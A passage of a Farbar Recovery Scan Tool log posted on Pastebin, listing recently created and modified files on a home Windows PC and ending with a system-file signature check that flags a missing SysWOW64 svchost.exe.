  490. 2015-05-28 22:09 - 2015-04-03 22:22 - 01461760 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
  491. 2015-05-28 22:09 - 2015-04-03 22:22 - 00728064 _____ (Microsoft Corporation) C:\Windows\system32\kerberos.dll
  492. 2015-05-28 22:09 - 2015-04-03 22:22 - 00314880 _____ (Microsoft Corporation) C:\Windows\system32\msv1_0.dll
  493. 2015-05-28 22:09 - 2015-04-03 22:22 - 00309760 _____ (Microsoft Corporation) C:\Windows\system32\ncrypt.dll
  494. 2015-05-28 22:09 - 2015-04-03 22:22 - 00210944 _____ (Microsoft Corporation) C:\Windows\system32\wdigest.dll
  495. 2015-05-28 22:09 - 2015-04-03 22:22 - 00136192 _____ (Microsoft Corporation) C:\Windows\system32\sspicli.dll
  496. 2015-05-28 22:09 - 2015-04-03 22:22 - 00086528 _____ (Microsoft Corporation) C:\Windows\system32\TSpkg.dll
  497. 2015-05-28 22:09 - 2015-04-03 22:22 - 00029184 _____ (Microsoft Corporation) C:\Windows\system32\sspisrv.dll
  498. 2015-05-28 22:09 - 2015-04-03 22:22 - 00028160 _____ (Microsoft Corporation) C:\Windows\system32\secur32.dll
  499. 2015-05-28 22:09 - 2015-04-03 22:22 - 00022016 _____ (Microsoft Corporation) C:\Windows\system32\credssp.dll
  500. 2015-05-28 22:09 - 2015-04-03 22:20 - 00064000 _____ (Microsoft Corporation) C:\Windows\system32\auditpol.exe
  501. 2015-05-28 22:09 - 2015-04-03 22:20 - 00031232 _____ (Microsoft Corporation) C:\Windows\system32\lsass.exe
  502. 2015-05-28 22:09 - 2015-04-03 22:17 - 00146432 _____ (Microsoft Corporation) C:\Windows\system32\msaudite.dll
  503. 2015-05-28 22:09 - 2015-04-03 22:17 - 00060416 _____ (Microsoft Corporation) C:\Windows\system32\msobjs.dll
  504. 2015-05-28 22:09 - 2015-04-03 22:15 - 00686080 _____ (Microsoft Corporation) C:\Windows\system32\adtschema.dll
  505. 2015-05-28 22:09 - 2015-04-03 22:05 - 00550912 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kerberos.dll
  506. 2015-05-28 22:09 - 2015-04-03 22:05 - 00259584 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msv1_0.dll
  507. 2015-05-28 22:09 - 2015-04-03 22:05 - 00221184 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ncrypt.dll
  508. 2015-05-28 22:09 - 2015-04-03 22:05 - 00172032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wdigest.dll
  509. 2015-05-28 22:09 - 2015-04-03 22:05 - 00065536 _____ (Microsoft Corporation) C:\Windows\SysWOW64\TSpkg.dll
  510. 2015-05-28 22:09 - 2015-04-03 22:05 - 00022016 _____ (Microsoft Corporation) C:\Windows\SysWOW64\secur32.dll
  511. 2015-05-28 22:09 - 2015-04-03 22:05 - 00017408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\credssp.dll
  512. 2015-05-28 22:09 - 2015-04-03 22:04 - 00096768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\sspicli.dll
  513. 2015-05-28 22:09 - 2015-04-03 22:04 - 00050176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\auditpol.exe
  514. 2015-05-28 22:09 - 2015-04-03 22:01 - 00146432 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msaudite.dll
  515. 2015-05-28 22:09 - 2015-04-03 22:01 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msobjs.dll
  516. 2015-05-28 22:09 - 2015-04-03 21:59 - 00686080 _____ (Microsoft Corporation) C:\Windows\SysWOW64\adtschema.dll
  517. 2015-05-28 22:08 - 2015-04-12 22:28 - 00328704 _____ (Microsoft Corporation) C:\Windows\system32\services.exe
  518. 2015-05-28 22:08 - 2015-04-07 22:29 - 00275456 _____ (Microsoft Corporation) C:\Windows\system32\InkEd.dll
  519. 2015-05-28 22:08 - 2015-04-07 22:29 - 00024576 _____ (Microsoft Corporation) C:\Windows\system32\jnwmon.dll
  520. 2015-05-28 22:08 - 2015-04-07 22:14 - 00216064 _____ (Microsoft Corporation) C:\Windows\SysWOW64\InkEd.dll
  521. 2015-05-28 22:06 - 2015-02-18 02:06 - 00123904 _____ (Microsoft Corporation) C:\Windows\SysWOW64\poqexec.exe
  522. 2015-05-28 22:06 - 2015-02-18 02:04 - 00142336 _____ (Microsoft Corporation) C:\Windows\system32\poqexec.exe
  523. 2015-05-25 19:40 - 2015-05-25 19:40 - 00000222 _____ C:\Users\KAT\Desktop\Savage Lands.url
  524. 2015-05-22 16:36 - 2015-05-22 16:36 - 00000222 _____ C:\Users\KAT\Desktop\Life is Feudal Your Own.url
  525. 2015-05-17 20:26 - 2015-05-17 20:26 - 00110688 _____ (Oracle Corporation) C:\Windows\system32\WindowsAccessBridge-64.dll
  526. 2015-05-17 20:26 - 2015-05-17 20:26 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java
  527. 2015-05-17 20:26 - 2015-05-17 20:26 - 00000000 ____D C:\Program Files\Java
  528. 2015-05-17 20:01 - 2015-05-17 20:01 - 00001035 _____ C:\Users\KAT\Desktop\AT Minecraft.lnk
  529. 2015-05-16 21:40 - 2015-05-16 21:40 - 00000000 ____D C:\Users\KAT\AppData\Roaming\.atlauncher
  530. 2015-05-16 21:36 - 2015-05-16 21:37 - 00000000 ____D C:\Program Files (x86)\ATLauncher
  531. 2015-05-15 16:49 - 2010-11-29 17:21 - 10915840 _____ (Intel Corporation) C:\Windows\SysWOW64\libmfxhw32.dll
  532. 2015-05-15 16:49 - 2010-11-29 17:21 - 10833920 _____ (Intel Corporation) C:\Windows\SysWOW64\libmfxsw32.dll
  533. 2015-05-12 15:18 - 2015-05-28 19:12 - 00000000 ____D C:\Users\KAT\AppData\Local\Unity
  534.  
  535. ==================== One Month Modified files and folders ========
  536.  
  537. (If an entry is included in the fixlist, the file/folder will be moved.)
  538.  
  539. 2015-06-11 09:10 - 2009-07-13 22:20 - 00000000 ____D C:\Windows\system32\NDF
  540. 2015-06-11 09:09 - 2014-12-20 14:18 - 01658449 _____ C:\Windows\WindowsUpdate.log
  541. 2015-06-11 09:09 - 2013-10-24 17:46 - 00000000 ____D C:\Program Files (x86)\Steam
  542. 2015-06-10 23:28 - 2015-03-06 16:36 - 00008973 _____ C:\Windows\setupact.log
  543. 2015-06-10 23:23 - 2009-07-13 22:20 - 00000000 __RHD C:\Users\Default
  544. 2015-06-10 20:44 - 2009-07-13 23:45 - 00019680 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
  545. 2015-06-10 20:44 - 2009-07-13 23:45 - 00019680 ____H C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
  546. 2015-06-10 20:39 - 2013-11-12 14:59 - 00003484 _____ C:\Windows\System32\Tasks\AutoKMS
  547. 2015-06-10 20:33 - 2009-07-14 00:08 - 00000006 ____H C:\Windows\Tasks\SA.DAT
  548. 2015-06-10 20:32 - 2015-03-10 19:35 - 00070100 _____ C:\Windows\PFRO.log
  549. 2015-06-10 19:45 - 2013-10-16 16:16 - 00000000 ____D C:\Users\KAT
  550. 2015-06-10 13:07 - 2014-03-02 14:16 - 00000000 ____D C:\Windows\SysWOW64\directx
  551. 2015-06-10 13:04 - 2014-03-11 23:51 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\GOG.com
  552. 2015-06-10 12:44 - 2009-07-14 00:32 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games
  553. 2015-06-10 11:43 - 2013-10-16 17:01 - 00000000 ____D C:\Users\KAT\Downloads\Torrents
  554. 2015-06-09 17:21 - 2014-07-25 19:05 - 00000000 ___RD C:\Users\KAT\Desktop\SECOND LIFE
  555. 2015-06-09 13:02 - 2014-12-16 00:12 - 00000000 ___RD C:\Users\KAT\Desktop\Coupons
  556. 2015-06-08 22:54 - 2015-05-02 21:38 - 00000000 ____D C:\Users\KAT\AppData\Roaming\deluge
  557. 2015-06-08 16:21 - 2015-05-03 15:09 - 00000000 ____D C:\Windows\System32\Tasks\NCH Swift Sound
  558. 2015-06-08 15:12 - 2014-05-08 17:26 - 00000000 ____D C:\Users\KAT\AppData\Roaming\Audacity
  559. 2015-06-07 20:48 - 2013-10-24 17:22 - 00000000 ____D C:\Users\KAT\Documents\My Games
  560. 2015-06-07 20:10 - 2015-04-09 19:13 - 00000000 ___RD C:\Users\KAT\Desktop\Cooking With Kat
  561. 2015-06-07 18:55 - 2015-02-27 13:29 - 00000000 ____D C:\Users\KAT\AppData\Roaming\iFunbox_UserCache
  562. 2015-06-07 17:55 - 2015-04-17 11:10 - 00000000 ____D C:\Users\KAT\AppData\Roaming\iMazing
  563. 2015-06-07 16:50 - 2013-10-16 16:52 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
  564. 2015-06-07 14:52 - 2013-12-29 00:17 - 00000000 ____D C:\Users\KAT\AppData\Roaming\Skype
  565. 2015-06-06 18:57 - 2013-11-01 18:23 - 00000000 ___RD C:\Users\KAT\Desktop\CRAIGSLIST
  566. 2015-06-05 22:34 - 2014-12-18 21:46 - 00000000 ____D C:\Program Files (x86)\The Forest
  567. 2015-06-05 19:17 - 2013-10-20 19:13 - 00000000 ____D C:\Program Files (x86)\Electronic Arts
  568. 2015-06-05 17:12 - 2009-07-13 23:45 - 04980816 _____ C:\Windows\system32\FNTCACHE.DAT
  569. 2015-06-05 17:11 - 2014-09-02 21:01 - 00000000 ____D C:\Program Files\Unlocker
  570. 2015-06-05 16:07 - 2015-03-05 22:36 - 00000000 ____D C:\ProgramData\Package Cache
  571. 2015-06-04 16:53 - 2013-10-16 16:58 - 00000000 ____D C:\Users\KAT\AppData\Local\Deployment
  572. 2015-06-04 16:53 - 2013-10-16 16:58 - 00000000 ____D C:\Users\KAT\AppData\Local\Apps\2.0
  573. 2015-06-03 21:15 - 2015-02-25 14:27 - 00000000 ____D C:\Program Files (x86)\Mozilla Firefox
  574. 2015-06-03 16:21 - 2014-02-01 21:39 - 00000000 ____D C:\ProgramData\Spybot - Search & Destroy
  575. 2015-06-03 16:21 - 2014-02-01 21:39 - 00000000 ____D C:\Program Files (x86)\Spybot - Search & Destroy
  576. 2015-06-03 13:29 - 2015-04-13 19:45 - 00000000 ___RD C:\Users\KAT\Desktop\Fiverr
  577. 2015-06-03 12:55 - 2009-07-14 00:13 - 00782470 _____ C:\Windows\system32\PerfStringBackup.INI
  578. 2015-06-03 12:41 - 2013-10-18 15:10 - 00778416 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
  579. 2015-06-03 12:41 - 2013-10-18 15:10 - 00142512 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
  580. 2015-06-03 12:18 - 2009-07-13 22:20 - 00000000 ___HD C:\Windows\system32\GroupPolicy
  581. 2015-06-01 16:16 - 2014-07-27 10:30 - 00001458 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Application Manager.lnk
  582. 2015-05-31 15:05 - 2013-10-16 17:24 - 00000000 ____D C:\ProgramData\NVIDIA
  583. 2015-05-31 15:04 - 2013-10-16 17:08 - 00000000 ____D C:\Program Files\NVIDIA Corporation
  584. 2015-05-31 11:43 - 2013-10-16 17:08 - 00000000 ____D C:\Program Files (x86)\Java
  585. 2015-05-31 11:04 - 2015-04-30 19:58 - 00000000 ____D C:\Program Files\VideoLAN
  586. 2015-05-31 10:49 - 2015-05-06 20:23 - 00000000 ____D C:\Users\KAT\AppData\Roaming\Millisecond Software
  587. 2015-05-31 10:47 - 2014-09-04 13:12 - 00000000 ____D C:\Program Files (x86)\Origin Games
  588. 2015-05-31 10:47 - 2013-10-20 19:46 - 00000000 ____D C:\ProgramData\Electronic Arts
  589. 2015-05-30 15:57 - 2009-07-13 22:20 - 00000000 ____D C:\Windows\rescache
  590. 2015-05-30 12:58 - 2014-12-26 21:11 - 00000000 ____D C:\Users\KAT\Documents\Klei
  591. 2015-05-30 12:50 - 2014-01-27 16:30 - 00000000 ___RD C:\Users\KAT\Desktop\Homework
  592. 2015-05-30 10:14 - 2015-04-21 18:30 - 00000000 ____D C:\Users\KAT\AppData\Local\Popcorn-Time
  593. 2015-05-29 10:38 - 2013-10-16 17:37 - 00000000 ____D C:\Program Files\Microsoft Silverlight
  594. 2015-05-29 10:38 - 2013-10-16 17:37 - 00000000 ____D C:\Program Files (x86)\Microsoft Silverlight
  595. 2015-05-28 22:42 - 2014-09-03 21:47 - 00000000 ____D C:\Windows\system32\MRT
  596. 2015-05-28 22:42 - 2009-07-14 02:46 - 00000000 ____D C:\Program Files\Windows Journal
  597. 2015-05-28 22:20 - 2013-10-16 19:08 - 00000000 ____D C:\ProgramData\Microsoft Help
  598. 2015-05-28 22:16 - 2013-10-16 17:37 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight
  599. 2015-05-24 14:17 - 2013-12-29 00:17 - 00000000 ___RD C:\Program Files (x86)\Skype
  600. 2015-05-24 14:17 - 2013-12-29 00:16 - 00000000 ____D C:\ProgramData\Skype
  601. 2015-05-18 22:35 - 2013-10-31 13:18 - 00000000 ____D C:\Users\KAT\AppData\Roaming\.minecraft
  602. 2015-05-17 22:11 - 2015-02-17 21:33 - 00000000 ___RD C:\Users\KAT\Desktop\Sophia
  603. 2015-05-16 09:39 - 2015-02-13 20:20 - 00001188 _____ C:\Users\Public\Desktop\The Sims 3.lnk
  604. 2015-05-15 20:22 - 2015-04-17 11:36 - 00000000 ____D C:\Program Files (x86)\AVS4YOU
  605. 2015-05-15 16:50 - 2015-04-17 11:38 - 00000000 ____D C:\Users\KAT\AppData\Roaming\AVS4YOU
  606. 2015-05-14 16:09 - 2015-01-30 16:49 - 00000000 ___RD C:\Users\KAT\Desktop\Household Stuff!
  607. 2015-05-12 01:27 - 2014-12-27 18:32 - 17540416 _____ (NVIDIA Corporation) C:\Windows\system32\nvwgf2umx.dll
  608. 2015-05-12 01:27 - 2014-07-25 19:48 - 15048816 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvwgf2um.dll
  609. 2015-05-12 01:27 - 2013-10-16 17:09 - 00112784 _____ (Khronos Group) C:\Windows\system32\OpenCL.dll
  610. 2015-05-12 01:27 - 2013-10-16 17:09 - 00105288 _____ (Khronos Group) C:\Windows\SysWOW64\OpenCL.dll
  611. 2015-05-12 01:27 - 2013-10-16 17:09 - 00031710 _____ C:\Windows\system32\nvinfo.pb
  612.  
  613. ==================== Files in the root of some directories =======
  614.  
  615. 2014-10-04 16:54 - 2015-05-08 20:37 - 0000132 _____ () C:\Users\KAT\AppData\Roaming\Adobe PNG Format CS6 Prefs
  616. 2015-06-04 12:15 - 2015-06-04 12:15 - 0000480 ____H () C:\Users\KAT\AppData\Roaming\麽鎒駓覜
  617. 2014-01-29 15:43 - 2014-01-29 15:43 - 0000000 ___SH () C:\Users\KAT\AppData\Local\LumaEmu
  618. 2015-06-09 13:19 - 2015-06-09 13:19 - 0000218 _____ () C:\Users\KAT\AppData\Local\recently-used.xbel
  619. 2015-06-10 12:48 - 2015-06-10 19:40 - 0000000 ____H () C:\ProgramData\@system.temp
  620.  
  621. Some files in TEMP:
  622. ====================
  623. C:\Users\KAT\AppData\Local\Temp\Quarantine.exe
  624. C:\Users\KAT\AppData\Local\Temp\sqlite3.dll
  625.  
  626.  
  627. Some zero byte size files/folders:
  628. ==========================
  629. C:\Windows\System32\BDSandBoxUISkin32.dll
  630.  
  631. ==================== Bamital & volsnap Check =================
  632.  
  633. (There is no automatic fix for files that do not pass verification.)
  634.  
  635. C:\Windows\System32\winlogon.exe => File is digitally signed
  636. C:\Windows\System32\wininit.exe => File is digitally signed
  637. C:\Windows\SysWOW64\wininit.exe => File is digitally signed
  638. C:\Windows\explorer.exe => File is digitally signed
  639. C:\Windows\SysWOW64\explorer.exe => File is digitally signed
  640. C:\Windows\System32\svchost.exe => File is digitally signed
  641. C:\Windows\SysWOW64\svchost.exe IS MISSING <==== ATTENTION!.
  642. C:\Windows\System32\services.exe => File is digitally signed
  643. C:\Windows\System32\User32.dll => File is digitally signed
  644. C:\Windows\SysWOW64\User32.dll => File is digitally signed
  645. C:\Windows\System32\userinit.exe => File is digitally signed
  646. C:\Windows\SysWOW64\userinit.exe => File is digitally signed
  647. C:\Windows\System32\rpcss.dll => File is digitally signed
  648. C:\Windows\System32\Drivers\volsnap.sys => File is digitally signed
  649.  
  650.  
  651. LastRegBack: 2015-06-04 18:42
  652.  
  653. ==================== End of log ============================
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!